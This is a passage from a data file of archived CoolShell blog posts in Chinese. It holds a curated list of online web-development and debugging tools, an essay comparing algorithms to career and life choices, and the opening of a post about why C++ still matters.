    "content": "<html><body><p><img alt=\"Web Toolbox\" class=\"alignright wp-image-8771\" height=\"196\" src=\"../wp-content/uploads/2012/12/webtoolbox.jpg\" width=\"318\"/>本文出自<a href=\"http://ivanzuzak.info/\" target=\"_blank\">Ivan Zuzak</a> 的《<a href=\"http://ivanzuzak.info/2012/11/18/the-web-engineers-online-toolbox.html\" target=\"_blank\">The Web engineer’s online toolbox</a>》，作者给了一个各种可以用来进行开发、测试、调试以及文档编排的在线工具集。（注：我发现CSDN上已经有了这篇文章《<a href=\"http://www.csdn.net/article/2012-11-19/2811992\" target=\"_blank\">Web工程师必备的18款工具</a>》，但可惜的是这篇文章并不全（原文后来被更新到了33个工具），而且其中并没有包括原文评论中出现的所有工具，所以，我一并补全了更出来，一共40多个工具）</p>\n<h4><strong>Web工程师在线工具箱</strong></h4>\n<ul>\n<li><a href=\"http://requestb.in/\" target=\"_blank\"><strong>RequestBin</strong></a><strong>：</strong>允许你创建一个URL，利用这款工具进行收集请求，然后通过个性化方式进行检查。</li>\n</ul>\n<ul>\n<li><a href=\"http://hurl.it/\" target=\"_blank\"><strong>Hurl</strong></a><strong>：</strong>发出HTTP请求，输入URL，设置标题，查看响应，最后分享给其他人。类似的工具有：<a href=\"http://resttesttest.com/\" target=\"_blank\">REST test test</a>, <a href=\"https://apigee.com/console/others\" target=\"_blank\">Apigee console</a>.。</li>\n</ul>\n<ul>\n<li><a href=\"http://httpbin.org/\" target=\"_blank\"><strong>Httpbin</strong></a><strong>：</strong>HTTP请求&amp;响应服务，涵盖所有的HTTP方案（例如不同的HTTP verbs、状态代码和重定向）。类似工具：<a href=\"http://ivanzuzak.info/urlecho/\">UrlEcho</a>。</li>\n</ul>\n<ul>\n<li><a href=\"http://redbot.org/\" target=\"_blank\"><strong>REDbot</strong></a><strong>：</strong>这是一个机器人工具，帮助用户检查HTTP资源，可查看它的操作情况，指出常见的问题并提出改进。类似工具：<a href=\"http://zamez.org/httplint\">HTTP lint</a>。</li>\n</ul>\n<ul>\n<li><a href=\"http://webgun.io/\" target=\"_blank\"><strong>WebGun</strong></a><strong>：</strong>用于创建webhooks模板的API。类似工具：<a href=\"https://github.com/izuzak/urlreq\">UrlReq</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://www.webscript.io/\">Webscript</a> </strong> 自选一个url，填一段Lua代码，就能对访问做各种respond，还可以主动运行任务，cron job等等…</li>\n</ul>\n<p><span id=\"more-8767\"></span></p>\n<ul>\n<li><strong><a href=\"http://www.clickhooks.com/\">ClickHooks</a> </strong>这是一个短网址服务， 当用户访问了你的这个短网址跳转链接，服务器会通过HTTP POST的方式回调你的一个URL。这也是一种WebHooks方式。（陈皓注：所谓WebHooks，你可以理解为一种trigger，或是一种handler，比如当你你提交了代码，会调用某个URL链接以POST的方式告诉那个网站你提交了代码（如：发一个twitter 之类的，或是通知某个bug tracker系统））</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://mailhooks2.appspot.com/\">MailHooks</a> </strong>让你可以通过HTTP POST方法收电子邮件（又叫WebHooks），你可以为你的一个邮件地址创建N多的hooks，当一个邮件收到了，可以把这个邮件以POST的方式发到你的某个URL上去。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://a.quil.la/\">Quilla</a> </strong>提供一个人们可以找到你的短网站服务，在那里，当人们提交到你的短网址上的请求会给你发邮件。好像是一种HTTP到SMTP的代理服务。</li>\n</ul>\n<ul>\n<li><a href=\"http://apify.heroku.com/resources\" target=\"_blank\"><strong>Apify</strong></a><strong>：</strong>公开锁定在HTML文档没有任何API数据集。APIfy从结构标记中提取数据，并将其转换为JSON APIs。</li>\n</ul>\n<ul>\n<li><a href=\"http://validator.w3.org/unicorn/\" target=\"_blank\"><strong>Unicorn</strong></a><strong>：</strong>W3C统一的验证程序，可在各种流行的HTML和CSS验证器中执行各种检查。类似工具：<a href=\"http://lint.brihten.com/html/\">HTML lint</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://jsonlint.com/\">JSONLint</a> </strong>JSON 格式验证程序</li>\n</ul>\n<ul>\n<li><a href=\"http://validator.w3.org/feed/\" target=\"_blank\"><strong>Feed validator</strong></a><strong>：</strong>支持W3C验证，为RSS和ATOM提供阅读源。</li>\n</ul>\n<ul>\n<li><a href=\"http://validator.w3.org/checklink\" target=\"_blank\"><strong>Link checker</strong></a><strong>：</strong>从网站中提取链接（递归）并确保没有链接被定义为两次（重复定义），所有的链接被引用并警告HTTP重新定向。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.host-tracker.com/\" target=\"_blank\"><strong>Host tracker</strong></a><strong>：</strong>通过分布式ping/跟踪检查、定期监测、邮件/SMS /IM通知和统计进行网站检测性服务。类似工具有：<a href=\"http://www.downforeveryoneorjustme.com/\">Down for everyone or just me</a>, <a href=\"http://tools.pingdom.com/ping/\">Pimgdom ping service</a></li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.viewdns.info/\">ViewDNS</a> </strong>一组 DNS 和网络工具，如：反向IP解析，DNS记录查询或traceroute之类的。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://www.necrohost.com/\">Necrohost</a>  </strong>一个URL列表来模拟不同网络链接的问题，如：响应慢，无法解析DNS，或是404什么的。</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://code.google.com/p/mirrorrr/\">Mirrorrr</a>  </strong>一个可以用来镜像某网页的应用（经常被国人用来搞Web 代理来翻墙）。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://certlogik.com/ssl-checker/\">SSL Checker</a>  </strong>测试SSL认证</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://certlogik.com/decoder/\">CSR/Cert decoder</a>  </strong>对你的CSR和SSL认证decode检查。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://loadzen.com/\">Loadzen</a>  </strong>Web压力测试工具（注：以前酷壳介绍过《<a href=\"https://coolshell.cn/articles/2589.html\" target=\"_blank\">十个Web压力测试工具</a>》）</li>\n</ul>\n<ul>\n<li><a href=\"http://tools.pingdom.com/fpt/\" target=\"_blank\"><strong>Pingdom Full page test</strong></a><strong>：</strong>允许用户测试网页记载时间、分析、监控，发现瓶颈并导出HAR格式的结果。类似工具：<a href=\"http://www.webpagetest.org/\">Web page test</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"https://developers.google.com/speed/pagespeed/insights\">Google PageSpeed Insights</a> </strong>Analyzes the content of a web page, then generates suggestions to make that page faster.</li>\n</ul>\n<ul>\n<li><a href=\"http://www.softwareishard.com/har/viewer/\" target=\"_blank\"><strong>HAR viewer</strong></a><strong>：</strong>通过 HTTP 追踪工具创建可视化的HTTP Archive (HAR)日志文件。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.corsproxy.com/\" target=\"_blank\"><strong>CORS proxy</strong></a><strong>：</strong>通常会由于相同的域而被阻止，而这款工具在网站上允许JavaScript代码访问其他域上的资源，</li>\n</ul>\n<ul>\n<li><a href=\"https://browserling.com/\" target=\"_blank\"><strong>Browserling</strong></a><strong>：</strong>支持使用所有主要浏览器以及各种版本进行交互式跨浏览器测试。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.websocket.org/echo.html\" target=\"_blank\"><strong>WebSocket Echo Test</strong></a><strong>:</strong> 从浏览器定向到WebSocket echo服务器进行WebSocket连接测试。</li>\n</ul>\n<ul>\n<li><a href=\"http://developer.yahoo.com/yql/\" target=\"_blank\"><strong>YQL</strong></a><strong>：</strong>极富表现力类似于SQL的语言，允许您查询、筛选和联接数据跨Web服务。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://webshell.io/\">Webshell</a> </strong>使用命令行脚本的方式来调用一些Web API。</li>\n</ul>\n<ul>\n<li><a href=\"http://pipes.yahoo.com/pipes/\" target=\"_blank\"><strong>Yahoo Pipes</strong></a><strong>：</strong>一个图形化的用户界面，用于创建数据混搭，生成聚合Web源，Web页面和其他服务。</li>\n</ul>\n<ul>\n<li><a href=\"http://apiary.io/\" target=\"_blank\"><strong>Apiary</strong></a><strong>：</strong>语言和工具用于生成REST API文档及进行交互式督查。类似工具：<a href=\"http://swagger.wordnik.com/\">Swagger</a>。</li>\n</ul>\n<ul>\n<li><strong><a href=\"http://jsfiddle.net/\">JSFiddle</a>  </strong>一个在线的代码编辑可以让你编译一些HTML, CSS 和 JavaScript的东西，并演示之。相似工具: <a href=\"http://jsbin.com/\">JSBin</a></li>\n</ul>\n<ul>\n<li><a href=\"https://developers.google.com/feed/v1/jsondevguide\">Google Feed API</a> 你可以使用这个API来查询有RSS Feed的网站 (<a href=\"http://ajax.googleapis.com/ajax/services/feed/lookup?v=1.0&amp;q=http://ivanzuzak.info/\">example</a>)，或是搜索有RSS Feed(<a href=\"https://ajax.googleapis.com/ajax/services/feed/find?v=1.0&amp;q=ivan%20zuzak\">example</a>) ，或是把JSON变成一个JSON返回 (<a href=\"https://ajax.googleapis.com/ajax/services/feed/load?v=1.0&amp;q=http://ivanzuzak.info/atom.xml\">example</a>)</li>\n</ul>\n<h4>未在列表的工具</h4>\n<ul>\n<li><a href=\"http://www.fiddler2.com/fiddler2/\">Fiddler</a> — 可能是最强大最好用的Web调试工具之一，它能记录所有客户端和服务器的http和https请求，允许你监视，设置断点，甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说，都有很大的帮助。.</li>\n</ul>\n<ul>\n<li><a href=\"http://grids.heroku.com/\">960 grid system generator</a> 和 <a href=\"http://meyerweb.com/eric/tools/css/reset/\">CSS reset</a> — 两个关注于Web站点设计的工具。</li>\n</ul>\n<ul>\n<li><a href=\"http://www.nuvolabase.com/site/index.html\">NuvolaBase</a> — 一个可以共享个人私有数据的解决方案。正如作者所说，这不是一个开发工具。</li>\n</ul>\n<ul>\n<li><a href=\"https://openexchangerates.org/\">Open exchange rates</a> — 一个和汇率货币相关的JSON式的API。这样的API你可以到 <a href=\"http://www.programmableweb.com/\">Programmable Web</a> 上查找。</li>\n</ul>\n<ul>\n<li><a href=\"https://workflowy.com/\">Workflowy</a>, <a href=\"http://www.lastcalc.com/\">LastCalc</a>, <a href=\"http://codepad.org/\">Codepad</a>, <a href=\"http://www.mailinator.com/\">Mailinator</a> and <a href=\"http://10minutemail.com/\">10MinuteMail</a>, <a href=\"https://onetimesecret.com/\">One time secret</a> and <a href=\"http://copypastecharacter.com/\">CopyPasteCharacter</a> — 这些App似乎和Web开发没什么关系。</li>\n</ul>\n<ul>\n<li><a href=\"https://browsershots.org/\">Browsershots</a> — 一个用来测试网页在不同平台下的工具。（参看）</li>\n</ul>\n<ul>\n<li><a href=\"http://scriptular.com/\">Scriptular</a> and <a href=\"http://rubular.com/\">Rubular</a> — 正则表达式工具，这样的工具太多了，如： <a href=\"http://refiddle.com/\">ReFiddle</a>, <a href=\"http://regexpal.com/\">Regex pal</a> and <a href=\"http://www.txt2re.com/\">Txt2Re</a>。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2589.html\"><img alt=\"十个免费的Web压力测试工具\" height=\"150\" src=\"../wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2589.html\">十个免费的Web压力测试工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17381.html\"><img alt=\"性能测试应该怎么做？\" height=\"150\" src=\"../wp-content/uploads/2016/07/PerfTest-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8767.html\">Web工程师的工具箱</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-12-28 程序算法与人生选择.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-8797\" height=\"207\" src=\"../wp-content/uploads/2012/12/choice.jpg\" width=\"281\"/>每年一到要找工作的时候，我就能收到很多人给我发来的邮件，总是问我怎么选择他们的offer，去腾讯还是去豆瓣，去外企还是去国内的企业，去创业还是去考研，来北京还是回老家，该不该去创新工场？该不该去thoughtworks？……等等，等等。今年从7月份到现在，我收到并回复了60多封这样的邮件。我更多帮他们整理思路，帮他们明白自己最想要的是什么。（注：我以后不再回复类似的邮件了）。</p>\n<p>我深深地发现，对于我国这样从小被父母和老师安排各种事情长大的人，当有一天，父母和老师都跟不上的时候，我们几乎完全不知道怎么去做选择。而我最近也离开了亚马逊，换了一个工作。又正值年底，就像去年的那篇《<a href=\"https://coolshell.cn/articles/6142.html\" target=\"_blank\" title=\"三个事和三个问题\">三个故事和三个问题</a>》一样，让我想到写一篇这样的文章。</p>\n<h4>几个例子</h4>\n<p>当我们在面对各种对选择的影响因子的时候，如：城市，公司规模，公司性质，薪水，项目，户口，技术，方向，眼界…… 你总会发现，你会在几个公司中纠结一些东西，举几个例子：</p>\n<ul>\n<li>某网友和我说，他们去上海腾讯，因为腾讯的规模很大，但却发现薪水待遇没有豆瓣高（低的还不是一点），如果以后要换工作的话，起薪点直接关系到了以后的高工资。我说那就去豆瓣吧，他说豆瓣在北京，污染那么严重，又没有户口，生存环境不好。我说去腾讯吧，他说腾讯最近组织调整，不稳定。我说那就去豆瓣吧，慢公司，发展很稳当。他说，豆瓣的盈利不清楚，而且用Python，自己不喜欢。我说，那就去腾讯吧，……</li>\n</ul>\n<ul>\n<li>还有一网友和我说，他想回老家，因为老家的人脉关系比较好，能混得好。但又想留在大城市，因为大城市可以开眼界。</li>\n</ul>\n<p><span id=\"more-8790\"></span></p>\n<ul>\n<li>另一网友和我说，他想进外企，练练英语，开开眼界，但是又怕在外企里当个螺丝钉，想法得不到实施。朋友拉他去创业，觉得创业挺好的，锻炼大，但是朋友做的那个不知道能不能做好。</li>\n</ul>\n<ul>\n<li>还有一网友在创新工场的某团队和考研之间抉择，不知道去创新工场行不行，觉得那个项目一般，但是感觉那个团队挺有激情的，另一方面觉得自己的学历还不够，读个研应该能找到更好的工作。</li>\n</ul>\n<ul>\n<li>还有一些朋友问题我应该学什么技术？不应该学什么技术？或是怎么学会学得最快，技术的路径应该是什么？有的说只做后端不做前端，有的说，只做算法研究，不做工程，等等，等等。因为他们觉得人生有限，术业有专攻。</li>\n</ul>\n<ul>\n<li>等等，等等……</li>\n</ul>\n<p>我个人觉得，如果是非计算机科班出生的人不会做选择，不知道怎么走也罢了，但是我们计算机科班出生的人是学过算法的，<strong>懂算法的人应该是知道怎么做选择的</strong>。</p>\n<h4></h4>\n<h4>排序算法</h4>\n<p>你不可能要所有的东西，所以你只能要你最重要的东西，你要知道什么东西最重要，你就需要对你心内的那些欲望和抱负有清楚的认识，不然，你就会在纠结中度过。</p>\n<p>所以，在选择中纠结的人有必要参考一下排序算法。</p>\n<ul>\n<li>首先，你最需要参考的就是“冒泡排序”——这种算法的思路就是每次冒泡出一个最大的数。所以，你有必要问问你自己，面对那些影响你选择的因子，如果你只能要一个的话，你会要哪个？而剩下的都可以放弃。于是，当你把最大的数，一个一个冒泡出来的时候，并用这个决策因子来过滤选项的时候，你就能比较容易地知道知道你应该选什么了。<strong>这个算法告诉我们，人的杂念越少，就越容易做出选择。</strong></li>\n</ul>\n<ul>\n<li>好吧，可能你已茫然到了怎么比较两个决策因子的大小，比如：你分不清楚，工资&gt;业务前景吗？业务前景&gt;能力提升吗？所以你完全没有办法进行冒泡法。那你，你不妨参考一个“快速排序”的思路——这个算法告诉我们，我们一开始并不需要找到最大的数，我们只需要把你价值观中的某个标准拿出来，然后，把可以满足这个价值的放到右边，不能的放到左边去。比如，你的标准是：工资大于5000元&amp;&amp;业务前景长于3年的公司，你可以用这个标准来过滤你的选项。然后，你可以再调整这个标准再继续递归下去。<strong>这个算法告诉我们，我们的选择标准越清晰，我们就越容易做出选择</strong>。</li>\n</ul>\n<p>这是排序算法中最经典的两个算法了，面试必考。相信你已烂熟于心中了。所以，我觉得你把这个算法应用于你的人生选择也应该不是什么问题。关于在于，你是否知道自己想要的是什么？</p>\n<p>排序算法的核心思想就是，<strong>让你帮助你认清自己最需要的是什么，认清自己最想要的是什么，然后根据这个去做选择</strong>。</p>\n<h4>贪婪算法</h4>\n<p>所谓贪婪算法，是一种在每一步选择中都采取在当前状态下最好或最优（即最有利）的选择（注意：是当前状态下），从而希望导致结果是最好或最优的算法。贪婪算法最经典的一个例子就是<a href=\"https://coolshell.cn/articles/7459.html\" target=\"_blank\" title=\"Huffman 编码压缩算法\">哈夫曼编码</a>。</p>\n<p>对于人类来说，一般人在行为处事的时候都会使用到贪婪算法，</p>\n<ul>\n<li>比如在找零钱的时候，如果要找补36元，我们一般会按这样的顺序找钱：20元，10元，5元，1元。</li>\n</ul>\n<ul>\n<li>或者我们在过十字路口的时候，要从到对角线的那个街区时，我们也会使用贪婪算法——哪边的绿灯先亮了我们就先过到那边去，然后再转身90度等红灯再过街。</li>\n</ul>\n<p>这样的例子有很多。对于选择中，大多数人都会选用贪婪算法，因为这是一个比较简单的算法，未来太复杂了，只能走一步看一步，在当前的状况下做出最利于自己的判断和选择即可。</p>\n<p>有的人会贪婪薪水，有的人会贪婪做的项目，有的人会贪婪业务，有的人会贪婪职位，有的人会贪婪自己的兴趣……这些都没什么问题。贪婪算法并没有错，虽然不是全局最优解，但其可以让你找到局部最优解或是次优解。其实，有次优解也不错了。<strong>贪婪算法基本上是一种急功近利的算法，但是并不代表这种算法不好，如果贪婪的是一种长远和持续，又未尝不可呢？</strong>。</p>\n<h4>动态规划</h4>\n<p>但是我们知道，对于大部分的问题，贪婪法通常都不能找出最优解，因为他们一般没有测试所有可能的解。<strong>因为贪婪算法是一种短视的行为，只会跟据当前的形式做判断，也就是过早做决定</strong>，因而没法达到最佳解。</p>\n<p>动态规划和贪婪算法的最大不同是，贪婪算法做出选择，不能在过程优化。动态规划则会保存以前的运算结果，并根据以前的结果对当前进行选择，会动态优化功能。</p>\n<p>动态规划算法至少告诉我们两个事：</p>\n<p style=\"padding-left: 30px;\">1）<strong>承前启后非常重要，</strong>当你准备去做遍历的时候，你的上次的经历不但能开启你以后的经历，而且还能为后面的经历所用。你的每一步都没有浪费。</p>\n<p style=\"padding-left: 30px;\">2）<strong>是否可以回退也很重要</strong>。这意思是——如果你面前有两个选择，一个是A公司一个是B公司，如果今天你选了A公司，并不是你完全放弃了B公司。而是，你知道从A公司退出来去B公司，会比从B公司退出来去A公司要容易一些。</p>\n<p>比如说：你有两个offer，一个是Yahoo，一个是Baidu，上述的第一点会让我们思考，我以前的特长和能力更符合Yahoo还是Baidu？而Yahoo和Baidu谁能给我开启更大的平台？上述的第二点告诉我们，是进入Yahoo后如果没有选好，是否还能再选择Baidu公司？还是进入Baidu公司后能容易回退到Yahoo公司？</p>\n<h4><b>Dijkstra</b>最短路径</h4>\n<p>最短路径是一个Greedy + DP的算法。相当经典。这个算法的大意如下：</p>\n<p style=\"padding-left: 30px;\">1）在初始化的时候，所有的结点都和我是无穷大，默认是达不到的。</p>\n<p style=\"padding-left: 30px;\">2）从离自己最近的结点开始贪婪。</p>\n<p style=\"padding-left: 30px;\">3）走过去，看看又能到达什么样的结点，计算并更新到所有目标点的距离。</p>\n<p style=\"padding-left: 30px;\">4）再贪婪与原点最短的结点，如此反复。</p>\n<p>这个算法给我们带来了一些这样的启示：</p>\n<ul>\n<li>有朋友和我说过他想成为一个架构师，或是某技术领域的专家，并会踏踏实实的向这个目标前进，永不放弃。我还是鼓励了他，但我也告诉他了这个著名的算法，我说，这个算法告诉你，架构师或某领域的专家对你来说目前的距离是无穷大，他们放在心中，先看看你能够得着的东西。<strong>所谓踏实，并不是踏踏实实追求你的目标，而是踏踏实实把你够得着看得见的就在身边的东西干好。</strong>我还记得我刚参加工作，从老家出来的时候，从来没有想过要成为一个技术牛人，也从来没有想过我的博客会那么的有影响力，在做自己力所能及，看得见摸得着的事情，我就看见什么技术就学什么，学着学着就知道怎么学更轻松，怎么学更扎实，这也许就是我的最短路径。</li>\n</ul>\n<ul>\n<li>有很多朋友问我要不要学C++，或是问我学Python还是学Ruby，是不是不用学前端，等等。这些朋友告诉我，他们不可能学习多个语言，学了不用也就忘了，而且术业有专攻。这并没有什么不对的，只是我个人觉得，学习一个东西没有必要只有两种状态，一种是不学，另一种是精通。了解一个技术其实花不了多少时间，我学C++的目的其实是为了更懂Java，学TCP/IP协议其实是为了更懂Socket编程，很多东西都是连通和相辅相成的，学好了C/C++/Unix/TCP等这些基础技术后，我发现到达别的技术路径一下缩短了（这就是为什么<a href=\"https://coolshell.cn/articles/8489.html\" target=\"_blank\" title=\"Go 语言简介（下）— 特性\">我用两天时间就可以了解Go语言的原因</a>）。<strong>这就好像这个算法一样，算法效率不高，也许达到你的目标，你在一开始花了很长时间，遍历了很多地方，但是，这也许这就是你的最短路径（</strong>比起你达不到要好得多<strong>）</strong>。</li>\n</ul>\n<h4>算法就是Trade-Off</h4>\n<p>你根本没有办法能得到所有你想得到的东西，<strong>任何的选择都意味着放弃</strong>——<strong>当你要去获得一个东西的时候，你总是需要放弃一些东西</strong>。<strong>人生本来就是一个跷跷板，一头上，另一头必然下</strong>。这和我们做软件设计或算法设计一样，用时间换空间，用空间换时间，还有CAP理论，总是有很多的Trade-Off，正如这个短语的原意一样——<strong>你总是要用某种东西去交易某种东西</strong>。</p>\n<p>我们都在用某种东西在交易我们的未来，有的人用自己的努力，有的人用自己的思考，有的人用自己的年轻，有的人用自己的自由，有的人用自己的价值观，有的人用自己的道德…… …… 有的人在交换金钱，有的人在交换眼界，有的人在交换经历，有的人在交换地位，有的人在交换能力，有的人在交换自由，有的人在交换兴趣，有的人在交换虚荣心，在交换安逸享乐…… ……</p>\n<p><strong>每个人有每个人的算法，每个算法都有每个算法的purpose，就算大家在用同样的算法，但是每个人算法中的那些变量、开关和条件都不一样，得到的结果也不一样。我们就是生活在Matrix里的一段程序，我们每个人的算法决定着我们每个人的选择，我们的选择决定了我们的人生</strong>。</p>\n<p style=\"text-align: center;\"><span style=\"color: #ff0000; font-size: 14px;\"><strong>2012年就要过去了，祝大家新年快乐！</strong></span></p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_8798\" style=\"width: 640px;\"><img alt=\"插图来自电影 Life of Pi\" class=\"size-full wp-image-8798\" height=\"275\" src=\"../wp-content/uploads/2012/12/life_of_pi_.jpg\" width=\"640\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-8798\">插图来自电影 Life of Pi</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17583.html\"><img alt=\"技术人员的发展之路\" height=\"150\" src=\"../wp-content/uploads/2016/12/people-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17583.html\">技术人员的发展之路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3231.html\"><img alt=\"你和你的工作\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3231.html\">你和你的工作</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8790.html\">程序算法与人生选择</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-2-2 Why C++ _ 王者归来.html",
    "content": "<html><body><p>因为又有人邀请我去Quora的C2C网站去回答问题去了，这回是 关于 <a href=\"http://weibo.com/n/laiyonghao\">@laiyonghao</a> 的这篇有点争议的博文《2012 不宜进入的三个技术点》ActionScript，Thread 和 C++，<a href=\"http://blog.csdn.net/lanphaday/article/details/7223385\" target=\"_blank\"> C++争议的争议最大</a>。（要我说，.NET比C++更需要慎重进入，呵）。我就在这里回复一下这个问题吧。</p>\n<p>正好我一个月前看到一个视频，这个演讲视频还比较著名，这个演讲者是<em>Exceptional C++ </em>和 <em>C++ Coding Standards</em> 的作者，还是ISO C++ 委员会的Chair，C++/CLI首席架构师，还是Microsoft的软件架构师，他叫<a href=\"http://herbsutter.com/\" target=\"_blank\">Herb Sutter</a>，他的这个演讲视频是 <a href=\"http://cppandbeyond.com/\" target=\"_blank\">C++ and Beyond 2011</a>上的一次公开演讲，题目是——<a href=\"http://channel9.msdn.com/posts/C-and-Beyond-2011-Herb-Sutter-Why-C\" target=\"_blank\">Why C++</a>? （如果你觉得那里的视频比较慢，你可以看<a href=\"http://v.youku.com/v_show/id_XMzA5OTIwODIw.html\" target=\"_blank\">优酷上的视频</a>）（英文听力好的同学可以看一样，因为都没有中文字幕）</p>\n<p>我觉得这篇文章就足够可以说明很多问题了，所以，我把Herb的演讲幻灯片截了几页放到这里，并做上一些注释，算是一个演讲内容摘要吧。</p>\n<p>1） 为什么C++？因为 Performance per $，也就是说performance 